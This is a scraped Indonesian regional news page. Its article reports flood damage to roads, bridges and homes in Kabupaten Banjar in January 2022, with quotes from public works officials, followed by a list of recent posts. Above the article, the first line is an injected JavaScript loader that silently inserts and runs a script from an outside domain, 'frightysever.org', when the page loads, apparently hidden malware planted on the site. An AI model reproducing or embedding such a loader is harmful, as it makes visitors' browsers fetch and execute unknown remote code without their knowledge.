(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

33 Jalan Alami Penurunan dan 2 Jembatan Rusak, Dinas PUPRP Banjar Terus Atasi Dampak Banjir!


KANALKALIMANTAN.COM, BANJAR – Perbaikan sarana dan infrastruktur terus dilakukan imbas bencana banjir luapan sungai dari hulu di Kabupaten Banjar pada Selasa (11/1/2022) lalu. Kepala Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar, Riza Dauly menyampaikan, kendati dampak banjir tak seluas bencana banjir pada tahun 2021 lalu, namun penanganan tetap maksimal dilakukan. Mengingat infrastruktur ke-PU-an yang paling terdampak adalah jalan dan jembatan.

“Data sementara kurang lebih 33 ruas jalan mengalami penurunan kemantapan, dan dua buah jembatan rusak berat,” kata Riza saat dihubungi oleh KanalKalimantan.com, Rabu (19/1/2022).

Riza mengungkapkan meski selama tahun 2021 penanganan telah dilakukan pada daerah irigasi dan irigasi sawah, namun penanganan itu dirasa belum cukup optimal dalam mengatasi banyaknya luapan air sungai di Kabupaten Banjar.

“Secara umum sudah ada penanganan sesuai dengan kewenangan kabupaten, yakni pada derah irigasi dan daerah irigasi rawa. Namun belum dapat optimal, karena terkait kewenangan yang lebih luas mengenai Sub DAS (Daerah Aliran Sungai) dan DAS berada pada kewenangan Pemerintah Provinsi dan Pemerintah Pusat,” ungkap Riza.

 

Baca juga : Rusak Akibat Tangan Jahil, Akuarium di Lapangan Murdjani Akan Diberi Pagar Kecil

Untuk penanganan berdasarkan instruksi kepala daerah tahun 2022, Kepala Dinas PUPRP Kabupaten Banjar sedang mengupayakan dengan kemampuan program yang tersedia, serta peluang pembiayaan dari Pemerintah Provinsi Kalsel dan Pemerintah Pusat.

“Tindaklanjut penanganan kita lakukan juga melalui usulan program di tingkat provinsi dan Pemerintah Pusat,” tambah Riza.
Menurut data sementara yang dikeluarkan Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar, terhitung sebanyak 3.364 rumah warga terendam, serta jembatan dan jalan mengalami kerusakan.

Kepala Bidang Sumber Daya Air (SDA) Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar, Jimmy menjelaskan, titik kumpul dari luapan air bertemu di sungai Martapura, kemudian membawa material seperti sampah yang menyebabkan terjadinya penumpukan di beberapa titik jembatan.

“Titik kumpul air bertemu di sungai Martapura dan pada aliran sungai tersebut juga membawa tumpukan material sehingga menyebabkan penumpukan di beberapa titik jembatan yang konstruksinya masih sederhana seperti di desa Pingaran Ilir,” ungkap Jimmy saat di hubungi oleh kanalkalimantan.com, Rabu (19/1/22).

 

Baca juga : Galang Poros Indonesia Raya, PAN-PBB Duduk Satu Meja!

Jimmy mengatakan berbagai upaya telah dilakukan selama tahun 2021 seperti normalisasi, pengerukan, dan siring sungai.
“Secara umum kegiatan normalisasi, pengerukan, dan siring sungai kita laksanakan seperti tahun sebelumnya,” kata Jimmy.

Selain upaya dari Pemerintah, tambah Jimmy, diharapkan kepada masyarakat juga yang hidup di bantaran sungai agar lebih berhati-hati dalam memanfaatkan sungai.

“Dan yang utama, semoga kita semua memiliki pola pikir yang sama bahwa sungai merupakan bagian dari kehidupan kita, jadi harus dipelihara, dijaga, serta dimanfaatkan secara arif dan bijaksana,” tutup Jimmy. (Kanalkalimantan.com/Wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

45 menit ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

4 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

8 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

1 hari ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

1 hari ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

1 hari ago

This website uses cookies.